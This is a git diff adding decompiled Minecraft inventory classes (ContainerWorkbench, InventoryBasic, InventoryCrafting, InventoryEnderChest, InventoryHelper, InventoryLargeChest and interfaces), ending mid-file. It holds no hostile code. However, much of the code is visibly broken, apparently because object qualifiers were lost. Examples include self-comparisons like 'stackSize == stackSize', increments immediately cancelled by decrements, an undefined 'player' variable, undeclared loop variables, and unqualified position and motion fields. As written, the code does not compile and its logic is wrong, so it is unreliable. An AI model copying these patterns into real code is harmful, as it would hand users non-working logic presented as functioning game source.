+      detectAndSendChanges();
+    }
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    super.onCraftGuiOpened(p_75132_1_);
+    p_75132_1_.sendProgressBarUpdate(this, 0, maximumCost);
+  }
+  
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_)
+  {
+    if (p_75137_1_ == 0)
+    {
+      maximumCost = p_75137_2_;
+    }
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    
+    if (!theWorld.isRemote)
+    {
+      for (int var2 = 0; var2 < inputSlots.getSizeInventory(); var2++)
+      {
+        ItemStack var3 = inputSlots.getStackInSlotOnClosing(var2);
+        
+        if (var3 != null)
+        {
+          p_75134_1_.dropPlayerItemWithRandomChoice(var3, false);
+        }
+      }
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return theWorld.getBlockState(field_178156_j).getBlock() == Blocks.anvil;
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 2)
+      {
+        if (!mergeItemStack(var5, 3, 39, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      else if ((index != 0) && (index != 1))
+      {
+        if ((index >= 3) && (index < 39) && (!mergeItemStack(var5, 0, 2, false)))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 3, 39, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public void updateItemName(String p_82850_1_)
+  {
+    repairedItemName = p_82850_1_;
+    
+    if (getSlot(2).getHasStack())
+    {
+      ItemStack var2 = getSlot(2).getStack();
+      
+      if (StringUtils.isBlank(p_82850_1_))
+      {
+        var2.clearCustomName();
+      }
+      else
+      {
+        var2.setStackDisplayName(repairedItemName);
+      }
+    }
+    
+    updateRepairOutput();
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ContainerWorkbench.java b/src/minecraft/net/minecraft/inventory/ContainerWorkbench.java
new file mode 100644
index 0000000..d2fb9c8
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ContainerWorkbench.java
@@ -0,0 +1,151 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.crafting.CraftingManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class ContainerWorkbench extends Container
+{
+  public InventoryCrafting craftMatrix = new InventoryCrafting(this, 3, 3);
+  public IInventory craftResult = new InventoryCraftResult();
+  private World worldObj;
+  private BlockPos field_178145_h;
+  private static final String __OBFID = "CL_00001744";
+  
+  public ContainerWorkbench(InventoryPlayer p_i45800_1_, World worldIn, BlockPos p_i45800_3_)
+  {
+    worldObj = worldIn;
+    field_178145_h = p_i45800_3_;
+    addSlotToContainer(new SlotCrafting(player, craftMatrix, craftResult, 0, 124, 35));
+    
+
+
+    for (int var4 = 0; var4 < 3; var4++)
+    {
+      for (int var5 = 0; var5 < 3; var5++)
+      {
+        addSlotToContainer(new Slot(craftMatrix, var5 + var4 * 3, 30 + var5 * 18, 17 + var4 * 18));
+      }
+    }
+    
+    for (var4 = 0; var4 < 3; var4++)
+    {
+      for (int var5 = 0; var5 < 9; var5++)
+      {
+        addSlotToContainer(new Slot(p_i45800_1_, var5 + var4 * 9 + 9, 8 + var5 * 18, 84 + var4 * 18));
+      }
+    }
+    
+    for (var4 = 0; var4 < 9; var4++)
+    {
+      addSlotToContainer(new Slot(p_i45800_1_, var4, 8 + var4 * 18, 142));
+    }
+    
+    onCraftMatrixChanged(craftMatrix);
+  }
+  
+
+
+
+  public void onCraftMatrixChanged(IInventory p_75130_1_)
+  {
+    craftResult.setInventorySlotContents(0, CraftingManager.getInstance().findMatchingRecipe(craftMatrix, worldObj));
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    super.onContainerClosed(p_75134_1_);
+    
+    if (!worldObj.isRemote)
+    {
+      for (int var2 = 0; var2 < 9; var2++)
+      {
+        ItemStack var3 = craftMatrix.getStackInSlotOnClosing(var2);
+        
+        if (var3 != null)
+        {
+          p_75134_1_.dropPlayerItemWithRandomChoice(var3, false);
+        }
+      }
+    }
+  }
+  
+  public boolean canInteractWith(EntityPlayer playerIn)
+  {
+    return worldObj.getBlockState(field_178145_h).getBlock() == net.minecraft.init.Blocks.crafting_table;
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    ItemStack var3 = null;
+    Slot var4 = (Slot)inventorySlots.get(index);
+    
+    if ((var4 != null) && (var4.getHasStack()))
+    {
+      ItemStack var5 = var4.getStack();
+      var3 = var5.copy();
+      
+      if (index == 0)
+      {
+        if (!mergeItemStack(var5, 10, 46, true))
+        {
+          return null;
+        }
+        
+        var4.onSlotChange(var5, var3);
+      }
+      else if ((index >= 10) && (index < 37))
+      {
+        if (!mergeItemStack(var5, 37, 46, false))
+        {
+          return null;
+        }
+      }
+      else if ((index >= 37) && (index < 46))
+      {
+        if (!mergeItemStack(var5, 10, 37, false))
+        {
+          return null;
+        }
+      }
+      else if (!mergeItemStack(var5, 10, 46, false))
+      {
+        return null;
+      }
+      
+      if (stackSize == 0)
+      {
+        var4.putStack(null);
+      }
+      else
+      {
+        var4.onSlotChanged();
+      }
+      
+      if (stackSize == stackSize)
+      {
+        return null;
+      }
+      
+      var4.onPickupFromSlot(playerIn, var5);
+    }
+    
+    return var3;
+  }
+  
+  public boolean func_94530_a(ItemStack p_94530_1_, Slot p_94530_2_)
+  {
+    return (inventory != craftResult) && (super.func_94530_a(p_94530_1_, p_94530_2_));
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/ICrafting.java b/src/minecraft/net/minecraft/inventory/ICrafting.java
new file mode 100644
index 0000000..3f8a2cb
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ICrafting.java
@@ -0,0 +1,15 @@
+package net.minecraft.inventory;
+
+import java.util.List;
+import net.minecraft.item.ItemStack;
+
+public abstract interface ICrafting
+{
+  public abstract void updateCraftingInventory(Container paramContainer, List paramList);
+  
+  public abstract void sendSlotContents(Container paramContainer, int paramInt, ItemStack paramItemStack);
+  
+  public abstract void sendProgressBarUpdate(Container paramContainer, int paramInt1, int paramInt2);
+  
+  public abstract void func_175173_a(Container paramContainer, IInventory paramIInventory);
+}
diff --git a/src/minecraft/net/minecraft/inventory/IInvBasic.java b/src/minecraft/net/minecraft/inventory/IInvBasic.java
new file mode 100644
index 0000000..441397c
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/IInvBasic.java
@@ -0,0 +1,6 @@
+package net.minecraft.inventory;
+
+public abstract interface IInvBasic
+{
+  public abstract void onInventoryChanged(InventoryBasic paramInventoryBasic);
+}
diff --git a/src/minecraft/net/minecraft/inventory/IInventory.java b/src/minecraft/net/minecraft/inventory/IInventory.java
new file mode 100644
index 0000000..a2f4941
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/IInventory.java
@@ -0,0 +1,39 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.IWorldNameable;
+
+public abstract interface IInventory
+  extends IWorldNameable
+{
+  public abstract int getSizeInventory();
+  
+  public abstract ItemStack getStackInSlot(int paramInt);
+  
+  public abstract ItemStack decrStackSize(int paramInt1, int paramInt2);
+  
+  public abstract ItemStack getStackInSlotOnClosing(int paramInt);
+  
+  public abstract void setInventorySlotContents(int paramInt, ItemStack paramItemStack);
+  
+  public abstract int getInventoryStackLimit();
+  
+  public abstract void markDirty();
+  
+  public abstract boolean isUseableByPlayer(EntityPlayer paramEntityPlayer);
+  
+  public abstract void openInventory(EntityPlayer paramEntityPlayer);
+  
+  public abstract void closeInventory(EntityPlayer paramEntityPlayer);
+  
+  public abstract boolean isItemValidForSlot(int paramInt, ItemStack paramItemStack);
+  
+  public abstract int getField(int paramInt);
+  
+  public abstract void setField(int paramInt1, int paramInt2);
+  
+  public abstract int getFieldCount();
+  
+  public abstract void clearInventory();
+}
diff --git a/src/minecraft/net/minecraft/inventory/ISidedInventory.java b/src/minecraft/net/minecraft/inventory/ISidedInventory.java
new file mode 100644
index 0000000..db3ba35
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/ISidedInventory.java
@@ -0,0 +1,14 @@
+package net.minecraft.inventory;
+
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnumFacing;
+
+public abstract interface ISidedInventory
+  extends IInventory
+{
+  public abstract int[] getSlotsForFace(EnumFacing paramEnumFacing);
+  
+  public abstract boolean canInsertItem(int paramInt, ItemStack paramItemStack, EnumFacing paramEnumFacing);
+  
+  public abstract boolean canExtractItem(int paramInt, ItemStack paramItemStack, EnumFacing paramEnumFacing);
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryBasic.java b/src/minecraft/net/minecraft/inventory/InventoryBasic.java
new file mode 100644
index 0000000..83dd703
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryBasic.java
@@ -0,0 +1,265 @@
+package net.minecraft.inventory;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+
+public class InventoryBasic implements IInventory
+{
+  private String inventoryTitle;
+  private int slotsCount;
+  private ItemStack[] inventoryContents;
+  private List field_70480_d;
+  private boolean hasCustomName;
+  private static final String __OBFID = "CL_00001514";
+  
+  public InventoryBasic(String p_i1561_1_, boolean p_i1561_2_, int p_i1561_3_)
+  {
+    inventoryTitle = p_i1561_1_;
+    hasCustomName = p_i1561_2_;
+    slotsCount = p_i1561_3_;
+    inventoryContents = new ItemStack[p_i1561_3_];
+  }
+  
+  public InventoryBasic(IChatComponent p_i45902_1_, int p_i45902_2_)
+  {
+    this(p_i45902_1_.getUnformattedText(), true, p_i45902_2_);
+  }
+  
+  public void func_110134_a(IInvBasic p_110134_1_)
+  {
+    if (field_70480_d == null)
+    {
+      field_70480_d = Lists.newArrayList();
+    }
+    
+    field_70480_d.add(p_110134_1_);
+  }
+  
+  public void func_110132_b(IInvBasic p_110132_1_)
+  {
+    field_70480_d.remove(p_110132_1_);
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return (slotIn >= 0) && (slotIn < inventoryContents.length) ? inventoryContents[slotIn] : null;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (inventoryContents[index] != null)
+    {
+
+
+      if (inventoryContents[index].stackSize <= count)
+      {
+        ItemStack var3 = inventoryContents[index];
+        inventoryContents[index] = null;
+        markDirty();
+        return var3;
+      }
+      
+
+      ItemStack var3 = inventoryContents[index].splitStack(count);
+      
+      if (inventoryContents[index].stackSize == 0)
+      {
+        inventoryContents[index] = null;
+      }
+      
+      markDirty();
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+  public ItemStack func_174894_a(ItemStack p_174894_1_)
+  {
+    ItemStack var2 = p_174894_1_.copy();
+    
+    for (int var3 = 0; var3 < slotsCount; var3++)
+    {
+      ItemStack var4 = getStackInSlot(var3);
+      
+      if (var4 == null)
+      {
+        setInventorySlotContents(var3, var2);
+        markDirty();
+        return null;
+      }
+      
+      if (ItemStack.areItemsEqual(var4, var2))
+      {
+        int var5 = Math.min(getInventoryStackLimit(), var4.getMaxStackSize());
+        int var6 = Math.min(stackSize, var5 - stackSize);
+        
+        if (var6 > 0)
+        {
+          stackSize += var6;
+          stackSize -= var6;
+          
+          if (stackSize <= 0)
+          {
+            markDirty();
+            return null;
+          }
+        }
+      }
+    }
+    
+    if (stackSize != stackSize)
+    {
+      markDirty();
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (inventoryContents[index] != null)
+    {
+      ItemStack var2 = inventoryContents[index];
+      inventoryContents[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    inventoryContents[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+    
+    markDirty();
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return slotsCount;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return inventoryTitle;
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return hasCustomName;
+  }
+  
+  public void func_110133_a(String p_110133_1_)
+  {
+    hasCustomName = true;
+    inventoryTitle = p_110133_1_;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+
+  public void markDirty()
+  {
+    if (field_70480_d != null)
+    {
+      for (int var1 = 0; var1 < field_70480_d.size(); var1++)
+      {
+        ((IInvBasic)field_70480_d.get(var1)).onInventoryChanged(this);
+      }
+    }
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return true;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < inventoryContents.length; var1++)
+    {
+      inventoryContents[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryCraftResult.java b/src/minecraft/net/minecraft/inventory/InventoryCraftResult.java
new file mode 100644
index 0000000..4ea070a
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryCraftResult.java
@@ -0,0 +1,150 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+
+public class InventoryCraftResult
+  implements IInventory
+{
+  private ItemStack[] stackResult = new ItemStack[1];
+  
+  private static final String __OBFID = "CL_00001760";
+  
+  public InventoryCraftResult() {}
+  
+  public int getSizeInventory()
+  {
+    return 1;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return stackResult[0];
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "Result";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return false;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (stackResult[0] != null)
+    {
+      ItemStack var3 = stackResult[0];
+      stackResult[0] = null;
+      return var3;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (stackResult[0] != null)
+    {
+      ItemStack var2 = stackResult[0];
+      stackResult[0] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    stackResult[0] = stack;
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+
+  public void markDirty() {}
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return true;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < stackResult.length; var1++)
+    {
+      stackResult[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryCrafting.java b/src/minecraft/net/minecraft/inventory/InventoryCrafting.java
new file mode 100644
index 0000000..f32baa5
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryCrafting.java
@@ -0,0 +1,205 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+
+
+
+
+
+
+
+public class InventoryCrafting
+  implements IInventory
+{
+  private final ItemStack[] stackList;
+  private final int inventoryWidth;
+  private final int field_174924_c;
+  private final Container eventHandler;
+  private static final String __OBFID = "CL_00001743";
+  
+  public InventoryCrafting(Container p_i1807_1_, int p_i1807_2_, int p_i1807_3_)
+  {
+    int var4 = p_i1807_2_ * p_i1807_3_;
+    stackList = new ItemStack[var4];
+    eventHandler = p_i1807_1_;
+    inventoryWidth = p_i1807_2_;
+    field_174924_c = p_i1807_3_;
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return stackList.length;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return slotIn >= getSizeInventory() ? null : stackList[slotIn];
+  }
+  
+
+
+
+  public ItemStack getStackInRowAndColumn(int p_70463_1_, int p_70463_2_)
+  {
+    return (p_70463_1_ >= 0) && (p_70463_1_ < inventoryWidth) && (p_70463_2_ >= 0) && (p_70463_2_ <= field_174924_c) ? getStackInSlot(p_70463_1_ + p_70463_2_ * inventoryWidth) : null;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "container.crafting";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return false;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (stackList[index] != null)
+    {
+      ItemStack var2 = stackList[index];
+      stackList[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (stackList[index] != null)
+    {
+
+
+      if (stackList[index].stackSize <= count)
+      {
+        ItemStack var3 = stackList[index];
+        stackList[index] = null;
+        eventHandler.onCraftMatrixChanged(this);
+        return var3;
+      }
+      
+
+      ItemStack var3 = stackList[index].splitStack(count);
+      
+      if (stackList[index].stackSize == 0)
+      {
+        stackList[index] = null;
+      }
+      
+      eventHandler.onCraftMatrixChanged(this);
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    stackList[index] = stack;
+    eventHandler.onCraftMatrixChanged(this);
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+
+  public void markDirty() {}
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return true;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < stackList.length; var1++)
+    {
+      stackList[var1] = null;
+    }
+  }
+  
+  public int func_174923_h()
+  {
+    return field_174924_c;
+  }
+  
+  public int func_174922_i()
+  {
+    return inventoryWidth;
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryEnderChest.java b/src/minecraft/net/minecraft/inventory/InventoryEnderChest.java
new file mode 100644
index 0000000..8fa2ccf
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryEnderChest.java
@@ -0,0 +1,93 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.tileentity.TileEntityEnderChest;
+
+public class InventoryEnderChest extends InventoryBasic
+{
+  private TileEntityEnderChest associatedChest;
+  private static final String __OBFID = "CL_00001759";
+  
+  public InventoryEnderChest()
+  {
+    super("container.enderchest", false, 27);
+  }
+  
+  public void setChestTileEntity(TileEntityEnderChest chestTileEntity)
+  {
+    associatedChest = chestTileEntity;
+  }
+  
+
+
+  public void loadInventoryFromNBT(NBTTagList p_70486_1_)
+  {
+    for (int var2 = 0; var2 < getSizeInventory(); var2++)
+    {
+      setInventorySlotContents(var2, null);
+    }
+    
+    for (var2 = 0; var2 < p_70486_1_.tagCount(); var2++)
+    {
+      NBTTagCompound var3 = p_70486_1_.getCompoundTagAt(var2);
+      int var4 = var3.getByte("Slot") & 0xFF;
+      
+      if ((var4 >= 0) && (var4 < getSizeInventory()))
+      {
+        setInventorySlotContents(var4, ItemStack.loadItemStackFromNBT(var3));
+      }
+    }
+  }
+  
+  public NBTTagList saveInventoryToNBT()
+  {
+    NBTTagList var1 = new NBTTagList();
+    
+    for (int var2 = 0; var2 < getSizeInventory(); var2++)
+    {
+      ItemStack var3 = getStackInSlot(var2);
+      
+      if (var3 != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var2);
+        var3.writeToNBT(var4);
+        var1.appendTag(var4);
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return (associatedChest != null) && (!associatedChest.func_145971_a(playerIn)) ? false : super.isUseableByPlayer(playerIn);
+  }
+  
+  public void openInventory(EntityPlayer playerIn)
+  {
+    if (associatedChest != null)
+    {
+      associatedChest.func_145969_a();
+    }
+    
+    super.openInventory(playerIn);
+  }
+  
+  public void closeInventory(EntityPlayer playerIn)
+  {
+    if (associatedChest != null)
+    {
+      associatedChest.func_145970_b();
+    }
+    
+    super.closeInventory(playerIn);
+    associatedChest = null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryHelper.java b/src/minecraft/net/minecraft/inventory/InventoryHelper.java
new file mode 100644
index 0000000..8b8f679
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryHelper.java
@@ -0,0 +1,69 @@
+package net.minecraft.inventory;
+
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class InventoryHelper
+{
+  private static final Random field_180177_a = new Random();
+  private static final String __OBFID = "CL_00002262";
+  
+  public InventoryHelper() {}
+  
+  public static void dropInventoryItems(World worldIn, BlockPos p_180175_1_, IInventory p_180175_2_) { func_180174_a(worldIn, p_180175_1_.getX(), p_180175_1_.getY(), p_180175_1_.getZ(), p_180175_2_); }
+  
+
+  public static void func_180176_a(World worldIn, Entity p_180176_1_, IInventory p_180176_2_)
+  {
+    func_180174_a(worldIn, posX, posY, posZ, p_180176_2_);
+  }
+  
+  private static void func_180174_a(World worldIn, double p_180174_1_, double p_180174_3_, double p_180174_5_, IInventory p_180174_7_)
+  {
+    for (int var8 = 0; var8 < p_180174_7_.getSizeInventory(); var8++)
+    {
+      ItemStack var9 = p_180174_7_.getStackInSlot(var8);
+      
+      if (var9 != null)
+      {
+        func_180173_a(worldIn, p_180174_1_, p_180174_3_, p_180174_5_, var9);
+      }
+    }
+  }
+  
+  private static void func_180173_a(World worldIn, double p_180173_1_, double p_180173_3_, double p_180173_5_, ItemStack p_180173_7_)
+  {
+    float var8 = field_180177_a.nextFloat() * 0.8F + 0.1F;
+    float var9 = field_180177_a.nextFloat() * 0.8F + 0.1F;
+    float var10 = field_180177_a.nextFloat() * 0.8F + 0.1F;
+    
+    while (stackSize > 0)
+    {
+      int var11 = field_180177_a.nextInt(21) + 10;
+      
+      if (var11 > stackSize)
+      {
+        var11 = stackSize;
+      }
+      
+      stackSize -= var11;
+      EntityItem var12 = new EntityItem(worldIn, p_180173_1_ + var8, p_180173_3_ + var9, p_180173_5_ + var10, new ItemStack(p_180173_7_.getItem(), var11, p_180173_7_.getMetadata()));
+      
+      if (p_180173_7_.hasTagCompound())
+      {
+        var12.getEntityItem().setTagCompound((NBTTagCompound)p_180173_7_.getTagCompound().copy());
+      }
+      
+      float var13 = 0.05F;
+      motionX = (field_180177_a.nextGaussian() * var13);
+      motionY = (field_180177_a.nextGaussian() * var13 + 0.20000000298023224D);
+      motionZ = (field_180177_a.nextGaussian() * var13);
+      worldIn.spawnEntityInWorld(var12);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryLargeChest.java b/src/minecraft/net/minecraft/inventory/InventoryLargeChest.java
new file mode 100644
index 0000000..c03fc3a
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryLargeChest.java
@@ -0,0 +1,219 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.LockCode;
+
+
+
+
+
+public class InventoryLargeChest
+  implements ILockableContainer
+{
+  private String name;
+  private ILockableContainer upperChest;
+  private ILockableContainer lowerChest;
+  private static final String __OBFID = "CL_00001507";
+  
+  public InventoryLargeChest(String p_i45905_1_, ILockableContainer p_i45905_2_, ILockableContainer p_i45905_3_)
+  {
+    name = p_i45905_1_;
+    
+    if (p_i45905_2_ == null)
+    {
+      p_i45905_2_ = p_i45905_3_;
+    }
+    
+    if (p_i45905_3_ == null)
+    {
+      p_i45905_3_ = p_i45905_2_;
+    }
+    
+    upperChest = p_i45905_2_;
+    lowerChest = p_i45905_3_;
+    
+    if (p_i45905_2_.isLocked())
+    {
+      p_i45905_3_.setLockCode(p_i45905_2_.getLockCode());
+    }
+    else if (p_i45905_3_.isLocked())
+    {
+      p_i45905_2_.setLockCode(p_i45905_3_.getLockCode());
+    }
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return upperChest.getSizeInventory() + lowerChest.getSizeInventory();
+  }
+  
+
+
+
+  public boolean isPartOfLargeChest(IInventory p_90010_1_)
+  {
+    return (upperChest == p_90010_1_) || (lowerChest == p_90010_1_);
+  }
+  
+
+
+
+  public String getName()
+  {
+    return lowerChest.hasCustomName() ? lowerChest.getName() : upperChest.hasCustomName() ? upperChest.getName() : name;
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (upperChest.hasCustomName()) || (lowerChest.hasCustomName());
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return slotIn >= upperChest.getSizeInventory() ? lowerChest.getStackInSlot(slotIn - upperChest.getSizeInventory()) : upperChest.getStackInSlot(slotIn);
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    return index >= upperChest.getSizeInventory() ? lowerChest.decrStackSize(index - upperChest.getSizeInventory(), count) : upperChest.decrStackSize(index, count);
+  }
+  
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    return index >= upperChest.getSizeInventory() ? lowerChest.getStackInSlotOnClosing(index - upperChest.getSizeInventory()) : upperChest.getStackInSlotOnClosing(index);
+  }
+  
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    if (index >= upperChest.getSizeInventory())
+    {
+      lowerChest.setInventorySlotContents(index - upperChest.getSizeInventory(), stack);
+    }
+    else
+    {
+      upperChest.setInventorySlotContents(index, stack);
+    }
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return upperChest.getInventoryStackLimit();
+  }
+  
+
+
+
+
+  public void markDirty()
+  {
+    upperChest.markDirty();
+    lowerChest.markDirty();
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return (upperChest.isUseableByPlayer(playerIn)) && (lowerChest.isUseableByPlayer(playerIn));
+  }
+  
+  public void openInventory(EntityPlayer playerIn)
+  {
+    upperChest.openInventory(playerIn);
+    lowerChest.openInventory(playerIn);
+  }
+  
+  public void closeInventory(EntityPlayer playerIn)
+  {
+    upperChest.closeInventory(playerIn);
+    lowerChest.closeInventory(playerIn);
